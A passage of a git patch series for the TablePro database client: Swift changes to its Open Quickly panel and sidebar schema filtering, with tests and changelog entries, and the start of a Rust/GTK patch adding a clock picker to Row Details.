 
     var body: some View {
@@ -39,17 +37,17 @@ struct QuickSwitcherPanelView: View {
             onSelect(item, intent)
             onDismiss()
         }
-        .task {
+        .task(id: ObjectIdentifier(viewModel)) {
             await viewModel.loadItems(
                 databaseType: databaseType,
                 openTables: openTables,
                 browseSchema: browseSchema
             )
         }
-        .task(id: viewModel.crossConnectionLoadVersion) {
+        .task(id: ModelTaskKey(model: ObjectIdentifier(viewModel), version: viewModel.crossConnectionLoadVersion)) {
             await viewModel.loadCrossConnectionItems()
         }
-        .task(id: viewModel.crossConnectionQueryLoadVersion) {
+        .task(id: ModelTaskKey(model: ObjectIdentifier(viewModel), version: viewModel.crossConnectionQueryLoadVersion)) {
             await viewModel.loadCrossConnectionQueryItems()
         }
         .onReceive(AppEvents.shared.queryHistoryDidUpdate) { _ in
@@ -61,6 +59,39 @@ struct QuickSwitcherPanelView: View {
     }
 }
 
+// The retained panel keeps this view and swaps its model, so each load is keyed by the model as well.
+private struct ModelTaskKey<Version: Equatable>: Equatable {
+    let model: ObjectIdentifier
+    let version: Version
+}
+
+// Installed on every update, not only when joining the window: the retained panel swaps in a new model.
+private struct PanelKeyCommandInstaller: NSViewRepresentable {
+    let handler: (NSEvent) -> Bool
+
+    func makeNSView(context: Context) -> InstallerView {
+        InstallerView()
+    }
+
+    func updateNSView(_ nsView: InstallerView, context: Context) {
+        nsView.handler = handler
+        nsView.install()
+    }
+
+    final class InstallerView: NSView {
+        var handler: ((NSEvent) -> Bool)?
+
+        override func viewDidMoveToWindow() {
+            super.viewDidMoveToWindow()
+            install()
+        }
+
+        func install() {
+            (window as? QuickSwitcherPanel)?.keyCommandHandler = handler
+        }
+    }
+}
+
 struct QuickSwitcherPanelContent: View {
     @Environment(\.colorSchemeContrast) private var colorSchemeContrast
 
@@ -89,9 +120,7 @@ struct QuickSwitcherPanelContent: View {
             .quickSwitcherSurface(cornerRadius: QuickSwitcherMetrics.cornerRadius)
         }
         .background {
-            WindowAccessor { window in
-                (window as? QuickSwitcherPanel)?.keyCommandHandler = handleKeyCommand
-            }
+            PanelKeyCommandInstaller(handler: handleKeyCommand)
         }
     }
 
diff --git a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator.swift b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator.swift
index 593654982c..af9b8bcbac 100644
--- a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator.swift
+++ b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator.swift
@@ -300,7 +300,8 @@ final class DatabaseTreeOutlineCoordinator: NSObject, NSTextFieldDelegate {
             schemaService: schemaService,
             temporaryTables: temporaryTables,
             sidebarState: sidebarState,
-            rootShape: rootShape
+            rootShape: rootShape,
+            searchText: searchText
         )
     }
 
diff --git a/apple/TablePro/Views/Sidebar/DatabaseTreeRenderInputs.swift b/apple/TablePro/Views/Sidebar/DatabaseTreeRenderInputs.swift
index c3560b069a..6dbbfc1048 100644
--- a/apple/TablePro/Views/Sidebar/DatabaseTreeRenderInputs.swift
+++ b/apple/TablePro/Views/Sidebar/DatabaseTreeRenderInputs.swift
@@ -97,7 +97,8 @@ struct DatabaseTreeRenderInputs: Equatable {
         schemaService: SchemaService,
         temporaryTables: TemporaryTableStore,
         sidebarState: SharedSidebarState?,
-        rootShape: SidebarRootShape
+        rootShape: SidebarRootShape,
+        searchText: String
     ) {
         let ownsObjects = { (key: ObjectsKey) in key.connectionId == connectionId }
         let tables = Self.slice(treeMetadata.tablesState, where: ownsObjects) { Rows($0) }
@@ -114,7 +115,9 @@ struct DatabaseTreeRenderInputs: Equatable {
             )
         }
         var listings: [DatabaseKey: Listing] = [:]
-        for (key, state) in treeMetadata.allSchemaTablesState where key.connectionId == connectionId {
+        // The outline reads the listing only under a search, and Open Quickly loads it with none: landing
+        // then reloaded every row. A search starting refreshes the outline anyway.
+        for (key, state) in treeMetadata.allSchemaTablesState where key.connectionId == connectionId && !searchText.isEmpty {
             let listing = Listing(
                 state, covered: treeMetadata.allSchemaTablesSelection(connectionId: connectionId, database: key.database)
             )
diff --git a/apple/TableProTests/ViewModels/QuickSwitcherViewModelTests.swift b/apple/TableProTests/ViewModels/QuickSwitcherViewModelTests.swift
index e08caec4f6..a5bc1c9767 100644
--- a/apple/TableProTests/ViewModels/QuickSwitcherViewModelTests.swift
+++ b/apple/TableProTests/ViewModels/QuickSwitcherViewModelTests.swift
@@ -1340,6 +1340,24 @@ struct QuickSwitcherViewModelTests {
         #expect(groups.isEmpty)
     }
 
+    @Test("A released model drops its results and ignores a later search")
+    func releasedModelDropsResults() async {
+        let vm = makeViewModel(items: sampleItems())
+        vm.scope = .tables
+        await vm.flushPendingFilter()
+        #expect(!vm.groups.isEmpty)
+
+        vm.releaseResults()
+        await vm.loadItems(databaseType: .mysql)
+        vm.searchText = "users"
+        await vm.flushPendingFilter()
+
+        #expect(vm.allItems.isEmpty)
+        #expect(vm.groups.isEmpty)
+        #expect(vm.isFiltering == false)
+        #expect(vm.selectedItemId == nil)
+    }
+
     @Test("A scope change the next one superseded stops listing and returns nothing")
     func cancelledBrowseStopsListing() async {
         let items = tableItems((0..<5_000).map { "orders_\($0)" })
diff --git a/apple/TableProTests/Views/QuickSwitcherPanelControllerTests.swift b/apple/TableProTests/Views/QuickSwitcherPanelControllerTests.swift
index 399065e871..aeda5bd07c 100644
--- a/apple/TableProTests/Views/QuickSwitcherPanelControllerTests.swift
+++ b/apple/TableProTests/Views/QuickSwitcherPanelControllerTests.swift
@@ -182,6 +182,43 @@ struct QuickSwitcherPanelControllerTests {
         try await waitUntil { released == nil }
     }
 
+    @Test("A retained panel comes back as the same window, answering for the model it was given last")
+    func retainedPanelSwapsItsModel() async throws {
+        let controller = QuickSwitcherPanelController()
+        defer { controller.dismiss() }
+        weak var released: QuickSwitcherViewModel?
+        weak var firstPanel: QuickSwitcherPanel?
+        do {
+            let viewModel = QuickSwitcherViewModel(connectionId: UUID())
+            released = viewModel
+            controller.present(
+                QuickSwitcherPanelContent(viewModel: viewModel) { _, _ in },
+                over: nil,
+                identity: "open-quickly",
+                retainsPanel: true
+            )
+            let panel = try #require(controller.presentedWindow as? QuickSwitcherPanel)
+            firstPanel = panel
+            try await waitUntil { panel.keyCommandHandler != nil }
+        }
+        controller.dismiss()
+
+        let viewModel = QuickSwitcherViewModel(connectionId: UUID())
+        controller.present(
+            QuickSwitcherPanelContent(viewModel: viewModel) { _, _ in },
+            over: nil,
+            identity: "open-quickly",
+            retainsPanel: true
+        )
+        let panel = try #require(controller.presentedWindow as? QuickSwitcherPanel)
+        #expect(panel === firstPanel)
+        try await waitUntil { panel.keyCommandHandler != nil }
+        try await waitUntil { released == nil }
+
+        #expect(panel.performKeyEquivalent(with: try Self.key("2", modifiers: .command, window: panel)))
+        #expect(viewModel.scope == QuickSwitcherScope.allCases[1])
+    }
+
     @Test("The panel answers its own commands ahead of the search field and passes the rest on")
     func panelAnswersItsCommands() async throws {
         let controller = QuickSwitcherPanelController()
diff --git a/apple/TableProTests/Views/Sidebar/DatabaseTreeReconcileTests.swift b/apple/TableProTests/Views/Sidebar/DatabaseTreeReconcileTests.swift
index 7711d8e089..7446b88e1c 100644
--- a/apple/TableProTests/Views/Sidebar/DatabaseTreeReconcileTests.swift
+++ b/apple/TableProTests/Views/Sidebar/DatabaseTreeReconcileTests.swift
@@ -162,7 +162,7 @@ struct DatabaseTreeReconcileTests {
         await tearDown(fixture)
     }
 
-    @Test("An all-schema listing starting to load changes nothing the outline draws, and its rows landing do")
+    @Test("An all-schema listing starting to load changes nothing the outline draws, and its rows landing do only under a search")
     func listingStartingToLoadIsNoChange() async throws {
         let connection = TestFixtures.makeConnection(database: "shop", type: .pglite)
         let driver = MockDatabaseDriver(connection: connection)
@@ -172,17 +172,19 @@ struct DatabaseTreeReconcileTests {
         session.status = .connected
         DatabaseManager.shared.injectSession(session, for: connection.id)
         let service = DatabaseTreeMetadataService.shared
-        func inputs() -> DatabaseTreeRenderInputs {
+        func inputs(searchText: String = "time") -> DatabaseTreeRenderInputs {
             DatabaseTreeRenderInputs(
                 connectionId: connection.id,
                 treeMetadata: service,
                 schemaService: .shared,
                 temporaryTables: .shared,
                 sidebarState: nil,
-                rootShape: .flat
+                rootShape: .flat,
+                searchText: searchText
             )
         }
         let unread = inputs()
+        let unsearched = inputs(searchText: "")
 
         let load = Task { await service.loadAllSchemaTables(connectionId: connection.id, database: "shop") }
         try await waitUntil {
@@ -196,6 +198,7 @@ struct DatabaseTreeReconcileTests {
         await load.value
         #expect(service.allSchemaTablesLoadState(connectionId: connection.id, database: "shop").value != nil)
         #expect(inputs() != unread)
+        #expect(inputs(searchText: "") == unsearched)
         await service.handleDisconnect(connectionId: connection.id)
         DatabaseManager.shared.removeSession(for: connection.id)
     }
@@ -216,7 +219,8 @@ struct DatabaseTreeReconcileTests {
                 schemaService: .shared,
                 temporaryTables: .shared,
                 sidebarState: nil,
-                rootShape: shape
+                rootShape: shape,
+                searchText: ""
             )
         }
         let flat = inputs(.flat)
diff --git a/apple/changelog.d/3888.changed.1.md b/apple/changelog.d/3888.changed.1.md
new file mode 100644
index 0000000000..afd7f77347
--- /dev/null
+++ b/apple/changelog.d/3888.changed.1.md
@@ -0,0 +1 @@
+Open Quickly no longer redraws the whole sidebar when it finishes listing the tables of every schema.
diff --git a/apple/changelog.d/3888.changed.md b/apple/changelog.d/3888.changed.md
new file mode 100644
index 0000000000..b871197013
--- /dev/null
+++ b/apple/changelog.d/3888.changed.md
@@ -0,0 +1 @@
+Open Quickly opens faster after the first time in a window.

From 1a80a0bca16efd729520e17769a07cb597f17791 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Fri, 30 Oct 2026 05:36:08 +0700
Subject: [PATCH 32/44] perf(sidebar): group the schema listing once per
 listing and draw Return as a symbol (#3889)

---
 .../QuickSwitcherPanelView.swift              |  8 +-
 .../QuickSwitcherRowChrome.swift              | 37 +++++---
 .../Views/Results/ColumnJumpPanelView.swift   |  4 +-
 .../Views/Sidebar/DatabaseTreeFilter.swift    | 86 +++++++++++++++----
 .../Sidebar/DatabaseTreeFilterMemoTests.swift | 23 +++++
 .../Sidebar/DatabaseTreeFilterTests.swift     | 22 +++++
 apple/changelog.d/3889.changed.1.md           |  1 +
 apple/changelog.d/3889.changed.md             |  1 +
 8 files changed, 151 insertions(+), 31 deletions(-)
 create mode 100644 apple/changelog.d/3889.changed.1.md
 create mode 100644 apple/changelog.d/3889.changed.md

diff --git a/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanelView.swift b/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanelView.swift
index e2a2721207..73b026d8f4 100644
--- a/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanelView.swift
+++ b/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanelView.swift
@@ -398,14 +398,14 @@ struct QuickSwitcherPanelContent: View {
     /// on screen saying so, that first press reads as a key that did nothing.
     private var footer: some View {
         HStack(spacing: 14) {
-            QuickSwitcherKeyHint(symbol: "\u{21A9}", label: String(localized: "Open"))
-            QuickSwitcherKeyHint(symbol: "\u{2318}\u{21A9}", label: String(localized: "New Tab"))
+            QuickSwitcherKeyHint(keys: [.returnKey], label: String(localized: "Open"))
+            QuickSwitcherKeyHint(keys: [.text("\u{2318}"), .returnKey], label: String(localized: "New Tab"))
 
             Spacer(minLength: 0)
 
-            QuickSwitcherKeyHint(symbol: "\u{2318}1\u{2013}5", label: String(localized: "Scope"))
+            QuickSwitcherKeyHint(keys: [.text("\u{2318}1\u{2013}5")], label: String(localized: "Scope"))
             QuickSwitcherKeyHint(
-                symbol: "\u{238B}",
+                keys: [.text("\u{238B}")],
                 label: escapeDismissesPanel ? String(localized: "Close") : String(localized: "Clear")
             )
         }
diff --git a/apple/TablePro/Views/QuickSwitcher/QuickSwitcherRowChrome.swift b/apple/TablePro/Views/QuickSwitcher/QuickSwitcherRowChrome.swift
index 6aa2616a88..a40ef8b2b6 100644
--- a/apple/TablePro/Views/QuickSwitcher/QuickSwitcherRowChrome.swift
+++ b/apple/TablePro/Views/QuickSwitcher/QuickSwitcherRowChrome.swift
@@ -22,20 +22,37 @@ internal enum QuickSwitcherRowChrome {
 }
 
 internal struct QuickSwitcherKeyHint: View {
-    let symbol: String
+    enum Glyph {
+        case text(String)
+        case symbol(String)
+
+        // The system font has no U+21A9: its first draw in a process loads a fallback font, about 10 ms.
+        static let returnKey = Glyph.symbol("return")
+    }
+
+    let keys: [Glyph]
     let label: String
 
     var body: some View {
         HStack(spacing: 4) {
-            Text(symbol)
-                .font(.caption.weight(.medium))
-                .foregroundStyle(.secondary)
-                .padding(.horizontal, 5)
-                .frame(minWidth: 20, minHeight: 17)
-                .background(
-                    RoundedRectangle(cornerRadius: 4, style: .continuous)
-                        .fill(Color(nsColor: .quaternaryFill))
-                )
+            HStack(spacing: 1) {
+                ForEach(keys.indices, id: \.self) { index in
+                    switch keys[index] {
+                    case .text(let text):
+                        Text(text)
+                    case .symbol(let name):
+                        Image(systemName: name)
+                    }
+                }
+            }
+            .font(.caption.weight(.medium))
+            .foregroundStyle(.secondary)
+            .padding(.horizontal, 5)
+            .frame(minWidth: 20, minHeight: 17)
+            .background(
+                RoundedRectangle(cornerRadius: 4, style: .continuous)
+                    .fill(Color(nsColor: .quaternaryFill))
+            )
             Text(label)
                 .font(.caption)
                 .foregroundStyle(.secondary)
diff --git a/apple/TablePro/Views/Results/ColumnJumpPanelView.swift b/apple/TablePro/Views/Results/ColumnJumpPanelView.swift
index 90dd8bc4df..d5404f6b96 100644
--- a/apple/TablePro/Views/Results/ColumnJumpPanelView.swift
+++ b/apple/TablePro/Views/Results/ColumnJumpPanelView.swift
@@ -241,12 +241,12 @@ struct ColumnJumpPanelContent: View {
 
     private var footer: some View {
         HStack(spacing: 14) {
-            QuickSwitcherKeyHint(symbol: "\u{21A9}", label: String(localized: "Jump"))
+            QuickSwitcherKeyHint(keys: [.returnKey], label: String(localized: "Jump"))
 
             Spacer(minLength: 0)
 
             QuickSwitcherKeyHint(
-                symbol: "\u{238B}",
+                keys: [.text("\u{238B}")],
                 label: escapeDismissesPanel ? String(localized: "Close") : String(localized: "Clear")
             )
         }
diff --git a/apple/TablePro/Views/Sidebar/DatabaseTreeFilter.swift b/apple/TablePro/Views/Sidebar/DatabaseTreeFilter.swift
index b3b5bb2dcb..adbf4d9282 100644
--- a/apple/TablePro/Views/Sidebar/DatabaseTreeFilter.swift
+++ b/apple/TablePro/Views/Sidebar/DatabaseTreeFilter.swift
@@ -175,7 +175,23 @@ enum DatabaseTreeFilter {
     /// each object's own schema, and the database only when the search names one.
     static func filteredTables(_ tables: [TableInfo], searchText: String, database: String? = nil) -> [TableInfo] {
         let matched = SidebarSearch(searchText).ranked(tables, name: { $0.name }, database: database, schema: { $0.schema })
-        return deduplicated(matched, by: \.id)
+        return deduplicated(matched, by: TableIdentity.init)
+    }
+
+    // The fields `TableInfo.id` is built from, without escaping and joining a string for every row.
+    // The id reads an empty schema as none, so the key does too.
+    private struct TableIdentity: Hashable {
+        let name: String
+        let schema: String?
+        let type: TableInfo.TableType
+        let isTemporary: Bool
+
+        init(_ table: TableInfo) {
+            name = table.name
+            schema = table.schema?.isEmpty == false ? table.schema : nil
+            type = table.type
+            isTemporary = table.isTemporary
+        }
     }
 
     static func filteredRoutines(
@@ -390,23 +406,27 @@ enum DatabaseTreeFilter {
         let rowsBySchema: [String: [TableInfo]]
 
         init(listing: CatalogTableListing.Result, database: String, searchText: String, covered: Set<String>? = nil) {
+            self.init(
+                groups: SchemaListingGroups(tables: listing.tables),
+                unlisted: listing.unlistedSchemas,
+                database: database,
+                searchText: searchText,
+                covered: covered
+            )
+        }
+
+        init(groups: SchemaListingGroups, unlisted: Set<String>, database: String, searchText: String, covered: Set<String>?) {
             let search = SidebarSearch(searchText)
-            var listed: Set<String> = []
             var matched: Set<String> = []
-            var rowsBySchema: [String: [TableInfo]] = [:]
-            for table in listing.tables {
-                guard let schema = table.schema else { continue }
-                listed.insert(schema)
-                rowsBySchema[schema, default: []].append(table)
-                guard !matched.contains(schema),
-                      search.matchesObject(named: table.name, database: database, schema: schema) else { continue }
+            for (schema, rows) in groups.rowsBySchema
+            where rows.contains(where: { search.matchesObject(named: $0.name, database: database, schema: schema) }) {
                 matched.insert(schema)
             }
-            self.listed = listed
+            self.listed = Set(groups.rowsBySchema.keys)
             self.matched = matched
-            self.unlisted = listing.unlistedSchemas
+            self.unlisted = unlisted
             self.covered = covered
-            self.rowsBySchema = rowsBySchema
+            self.rowsBySchema = groups.rowsBySchema
         }
 
         func answers(for schema: String) -> Bool {
@@ -414,6 +434,21 @@ enum DatabaseTreeFilter {
         }
     }
 
+    // A keystroke changes which schemas match, never which rows each schema lists, so the grouping
+    // waits for the next listing. Grouping 50,000 rows again on every keystroke copied each of them.
+    struct SchemaListingGroups {
+        let rowsBySchema: [String: [TableInfo]]
+
+        init(tables: [TableInfo]) {
+            var rowsBySchema: [String: [TableInfo]] = [:]
+            for table in tables {
+                guard let schema = table.schema else { continue }
+                rowsBySchema[schema, default: []].append(table)
+            }
+            self.rowsBySchema = rowsBySchema
+        }
+    }
+
     // Redraws and body evaluations share one scan per database until the listing, search or coverage moves.
     struct SchemaListingMatchesMemo {
         private struct Entry {
@@ -424,7 +459,13 @@ enum DatabaseTreeFilter {
             let matches: SchemaListingMatches
         }
 
+        private struct GroupsEntry {
+            let tables: SameRows<TableInfo>
+            let groups: SchemaListingGroups
+        }
+
         private var entries: [String: Entry] = [:]
+        private var groupsEntries: [String: GroupsEntry] = [:]
 
         mutating func matches(
             listing: CatalogTableListing.Result,
@@ -432,13 +473,27 @@ enum DatabaseTreeFilter {
             searchText: String,
             covered: Set<String>?
         ) -> SchemaListingMatches {
+            let tables = SameRows(rows: listing.tables)
             if let entry = entries[database], entry.searchText == searchText, entry.covered == covered,
-               entry.unlisted == listing.unlistedSchemas, entry.tables == SameRows(rows: listing.tables) {
+               entry.unlisted == listing.unlistedSchemas, entry.tables == tables {
                 return entry.matches
             }
-            let matches = SchemaListingMatches(listing: listing, database: database, searchText: searchText, covered: covered)
+            let groups: SchemaListingGroups
+            if let entry = groupsEntries[database], entry.tables == tables {
+                groups = entry.groups
+            } else {
+                groups = SchemaListingGroups(tables: listing.tables)
+                groupsEntries[database] = GroupsEntry(tables: tables, groups: groups)
+            }
+            let matches = SchemaListingMatches(
+                groups: groups,
+                unlisted: listing.unlistedSchemas,
+                database: database,
+                searchText: searchText,
+                covered: covered
+            )
             entries[database] = Entry(
-                tables: SameRows(rows: listing.tables),
+                tables: tables,
                 unlisted: listing.unlistedSchemas,
                 searchText: searchText,
                 covered: covered,
@@ -449,6 +504,7 @@ enum DatabaseTreeFilter {
 
         mutating func removeAll() {
             entries.removeAll()
+            groupsEntries.removeAll()
         }
     }
 
diff --git a/apple/TableProTests/Views/Sidebar/DatabaseTreeFilterMemoTests.swift b/apple/TableProTests/Views/Sidebar/DatabaseTreeFilterMemoTests.swift
index 5d3a75d61e..b06d1d8826 100644
--- a/apple/TableProTests/Views/Sidebar/DatabaseTreeFilterMemoTests.swift
+++ b/apple/TableProTests/Views/Sidebar/DatabaseTreeFilterMemoTests.swift
@@ -105,6 +105,29 @@ struct DatabaseTreeFilterMemoTests {
         #expect(other.matched == ["sales"])
     }
 
+    @Test("A new search over the same listing keeps its grouping, and a new listing groups again")
+    func listingGroupingOutlivesTheSearch() {
+        var memo = DatabaseTreeFilter.SchemaListingMatchesMemo()
+        let listing = CatalogTableListing.Result(
+            tables: [table("timesheet", "attendance"), table("orders", "sales"), table("refunds", "sales")],
+            unlistedSchemas: []
+        )
+
+        let first = memo.matches(listing: listing, database: "shop", searchText: "time", covered: nil)
+        let refined = memo.matches(listing: listing, database: "shop", searchText: "ref", covered: nil)
+        let reread = memo.matches(
+            listing: CatalogTableListing.Result(tables: listing.tables.map { $0 }, unlistedSchemas: []),
+            database: "shop", searchText: "ref", covered: nil
+        )
+
+        #expect(first.matched == ["attendance"])
+        #expect(refined.matched == ["sales"])
+        #expect(refined.listed == ["attendance", "sales"])
+        #expect(SameRows(rows: refined.rowsBySchema["sales"] ?? []) == SameRows(rows: first.rowsBySchema["sales"] ?? []))
+        #expect(SameRows(rows: reread.rowsBySchema["sales"] ?? []) != SameRows(rows: refined.rowsBySchema["sales"] ?? []))
+        #expect(reread.matched == ["sales"])
+    }
+
     // MARK: - Outline
 
     private struct Fixture {
diff --git a/apple/TableProTests/Views/Sidebar/DatabaseTreeFilterTests.swift b/apple/TableProTests/Views/Sidebar/DatabaseTreeFilterTests.swift
index e1f5323fca..21e52a2e21 100644
--- a/apple/TableProTests/Views/Sidebar/DatabaseTreeFilterTests.swift
+++ b/apple/TableProTests/Views/Sidebar/DatabaseTreeFilterTests.swift
@@ -31,6 +31,28 @@ struct DatabaseTreeFilterTests {
         #expect(DatabaseTreeFilter.filteredTables(tables, searchText: "c").count == 2)
     }
 
+    @Test("filteredTables keeps a table apart from a view or a temporary table of the same name")
+    func filteredTablesKeepsKindsApart() {
+        let tables = [
+            TableInfo(name: "users", type: .table, rowCount: 0, schema: "public"),
+            TableInfo(name: "users", type: .view, rowCount: 0, schema: "public"),
+            TableInfo(name: "users", type: .table, rowCount: 0, schema: "public", isTemporary: true),
+            TableInfo(name: "users", type: .table, rowCount: 12, schema: "public")
+        ]
+        let result = DatabaseTreeFilter.filteredTables(tables, searchText: "use")
+        #expect(result.map(\.id) == tables.dropLast().map(\.id))
+    }
+
+    @Test("filteredTables reads an empty schema as none, the way a table's id does")
+    func filteredTablesTreatsEmptySchemaAsNone() {
+        let tables = [
+            TableInfo(name: "users", type: .table, rowCount: 0, schema: nil),
+            TableInfo(name: "users", type: .table, rowCount: 0, schema: "")
+        ]
+        #expect(tables[0].id == tables[1].id)
+        #expect(DatabaseTreeFilter.filteredTables(tables, searchText: "").count == 1)
+    }
+
     @Test("filteredRoutines and filteredUserTypes keep objects whose schema holds a period")
     func filteredRoutinesAndTypesKeepDottedNamesApart() {
         let routines = [
diff --git a/apple/changelog.d/3889.changed.1.md b/apple/changelog.d/3889.changed.1.md
new file mode 100644
index 0000000000..ac7cf24a7c
--- /dev/null
+++ b/apple/changelog.d/3889.changed.1.md
@@ -0,0 +1 @@
+Open Quickly opens faster the first time after launch.
diff --git a/apple/changelog.d/3889.changed.md b/apple/changelog.d/3889.changed.md
new file mode 100644
index 0000000000..b6257b68ce
--- /dev/null
+++ b/apple/changelog.d/3889.changed.md
@@ -0,0 +1 @@
+The sidebar search responds faster on a database with many schemas.

From 20b34663e73b3d72742bbec50764b5b1c5f03ef6 Mon Sep 17 00:00:00 2001
From: Cristian <cristian.sedaboni@gmail.com>
Date: Fri, 30 Oct 2026 02:18:32 +0100
Subject: [PATCH 33/44] feat(linux-grid): set a time or a timestamp's time from
 a clock in Row Details (#3881)

Co-authored-by: sedax90 <5001801+sedax90@users.noreply.github.com>
Co-authored-by: Ngo Quoc Dat <datlechin@gmail.com>
---
 linux/changelog.d/3881.added.md               |   1 +
 .../src/ui/data_grid/row_detail/calendar.rs   |  30 +-
 .../app/src/ui/data_grid/row_detail/clock.rs  | 172 ++++++++++
 .../app/src/ui/data_grid/row_detail/imp.rs    |  13 +
 .../app/src/ui/data_grid/row_detail/mod.rs    |   3 +
 .../app/src/ui/data_grid/row_detail/tests.rs  | 297 +++++++++++++++++-
 .../ui/data_grid/row_detail/value_editor.rs   |   4 +
 linux/crates/app/src/ui/icons.rs              |   2 +
 linux/data/resources/ui/row-detail-pane.ui    | 104 ++++++
 linux/po/POTFILES.in                          |   1 +
 10 files changed, 610 insertions(+), 17 deletions(-)
 create mode 100644 linux/changelog.d/3881.added.md
 create mode 100644 linux/crates/app/src/ui/data_grid/row_detail/clock.rs

diff --git a/linux/changelog.d/3881.added.md b/linux/changelog.d/3881.added.md
new file mode 100644
index 0000000000..c10bc9f100
--- /dev/null
+++ b/linux/changelog.d/3881.added.md
@@ -0,0 +1 @@
+Row Details sets a time, or a timestamp's time, from a clock beside the calendar.
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/calendar.rs b/linux/crates/app/src/ui/data_grid/row_detail/calendar.rs
index ee4cc47678..2298906675 100644
--- a/linux/crates/app/src/ui/data_grid/row_detail/calendar.rs
+++ b/linux/crates/app/src/ui/data_grid/row_detail/calendar.rs
@@ -1,4 +1,4 @@
-use chrono::{Datelike, FixedOffset, Local, NaiveDate, NaiveTime, Offset, TimeDelta, TimeZone};
+use chrono::{Datelike, FixedOffset, Local, NaiveDate, NaiveDateTime, NaiveTime, Offset, TimeDelta, TimeZone};
 use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
 use gtk4::{self as gtk, glib};
@@ -30,18 +30,16 @@ pub fn with_day(text: &str, day: NaiveDate, zone: Option<&TemporalZone>, offset:
     }
 }
 
-/// The offset `zone` has as `day` starts. Where a clock change skips
-/// midnight, the day starts at the change, which is midnight at the
-/// offset before it.
 pub fn day_start_offset<Tz: TimeZone>(zone: &Tz, day: NaiveDate) -> FixedOffset {
-    let midnight = day.and_time(NaiveTime::MIN);
-    [midnight, midnight - TimeDelta::hours(1)]
+    offset_at(zone, day.and_time(NaiveTime::MIN))
+}
+
+// A wall-clock time a clock change skips takes the offset before the change.
+pub fn offset_at<Tz: TimeZone>(zone: &Tz, local: NaiveDateTime) -> FixedOffset {
+    [local, local - TimeDelta::hours(1)]
         .iter()
         .find_map(|local| zone.from_local_datetime(local).earliest())
-        .map_or_else(
-            || zone.offset_from_utc_datetime(&midnight).fix(),
-            |at| at.offset().fix(),
-        )
+        .map_or_else(|| zone.offset_from_utc_datetime(&local).fix(), |at| at.offset().fix())
 }
 
 impl RowDetailPane {
@@ -50,10 +48,7 @@ impl RowDetailPane {
         // Dropped below a button halfway down the pane, the calendar fits
         // neither below nor above it on a short screen and GTK closes it;
         // opened toward the rows, it slides up or down to fit.
-        imp.calendar_button.set_direction(match self.direction() {
-            gtk::TextDirection::Rtl => gtk::ArrowType::Right,
-            _ => gtk::ArrowType::Left,
-        });
+        imp.calendar_button.set_direction(self.toward_rows());
         imp.calendar_popover.connect_show(glib::clone!(
             #[weak(rename_to = pane)]
             self,
@@ -99,6 +94,13 @@ impl RowDetailPane {
         imp.calendar.add_controller(keys);
     }
 
+    pub(super) fn toward_rows(&self) -> gtk::ArrowType {
+        match self.direction() {
+            gtk::TextDirection::Rtl => gtk::ArrowType::Right,
+            _ => gtk::ArrowType::Left,
+        }
+    }
+
     /// The calendar opens on the value's day, else on today, for the row
     /// and field shown now.
     fn calendar_opens(&self) {
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/clock.rs b/linux/crates/app/src/ui/data_grid/row_detail/clock.rs
new file mode 100644
index 0000000000..02e36ac66f
--- /dev/null
+++ b/linux/crates/app/src/ui/data_grid/row_detail/clock.rs
@@ -0,0 +1,172 @@
+use std::ops::Range;
+
+use chrono::{Local, NaiveDate, NaiveTime, TimeZone, Timelike};
+use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
+use gtk4::{self as gtk, glib};
+use tablepro_core::column::{ColumnKind, TemporalZone, TimeRange};
+
+use super::RowDetailPane;
+use super::calendar::offset_at;
+use super::value_editor::Commit;
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub struct ClockField {
+    pub dated: bool,
+    pub with_offset: bool,
+}
+
+impl ClockField {
+    // A duration such as MySQL's TIME runs past a day, so it gets no clock.
+    pub fn of(kind: &ColumnKind) -> Option<Self> {
+        match kind {
+            ColumnKind::Time {
+                with_offset,
+                range: TimeRange::TimeOfDay,
+                ..
+            } => Some(Self {
+                dated: false,
+                with_offset: *with_offset,
+            }),
+            ColumnKind::Timestamp { zone, .. } => Some(Self {
+                dated: true,
+                with_offset: *zone == TemporalZone::Offset,
+            }),
+            _ => None,
+        }
+    }
+}
+
+// By the text's own form, as chrono reads it for the commit: SQLite keeps any date or time text in a
+// DATE, TIME or DATETIME column, and chrono takes whitespace before a number and one digit for two.
+fn clock_span(text: &str) -> Option<Range<usize>> {
+    let after_day = day_len(text).map_or(0, |day| day + usize::from(text.as_bytes().get(day) == Some(&b'T')));
+    let start = after_day + spaces(text.get(after_day..)?);
+    let minute = number(text, literal(text, number(text, start, 2)?, b':')?, 2)?;
+    let end = literal(text, minute, b':').and_then(|second| number(text, second, 2));
+    Some(start..end.unwrap_or(minute))
+}
+
+// A year may run past 9999, as PostgreSQL writes one, and carry a sign.
+fn day_len(text: &str) -> Option<usize> {
+    let lead = spaces(text);
+    let year = lead + usize::from(matches!(text.as_bytes().get(lead), Some(b'-' | b'+')));
+    let month = number(text, literal(text, number(text, year, usize::MAX)?, b'-')?, 2)?;
+    number(text, literal(text, month, b'-')?, 2)
+}
+
+// The end of the number at `at`, past any whitespace before it.
+fn number(text: &str, at: usize, most: usize) -> Option<usize> {
+    let start = at + spaces(text.get(at..)?);
+    let run = text
+        .get(start..)?
+        .bytes()
+        .take(most)
+        .take_while(u8::is_ascii_digit)
+        .count();
+    (run > 0).then_some(start + run)
+}
+
+fn literal(text: &str, at: usize, byte: u8) -> Option<usize> {
+    (text.as_bytes().get(at) == Some(&byte)).then_some(at + 1)
+}
+
+fn spaces(text: &str) -> usize {
+    text.len() - text.trim_start().len()
+}
+
+pub fn time_of(text: &str) -> Option<NaiveTime> {
+    let mut parts = text
+        .get(clock_span(text)?)?
+        .split(':')
+        .map(|part| part.trim().parse::<u32>());
+    let (hour, minute) = (parts.next()?.ok()?, parts.next()?.ok()?);
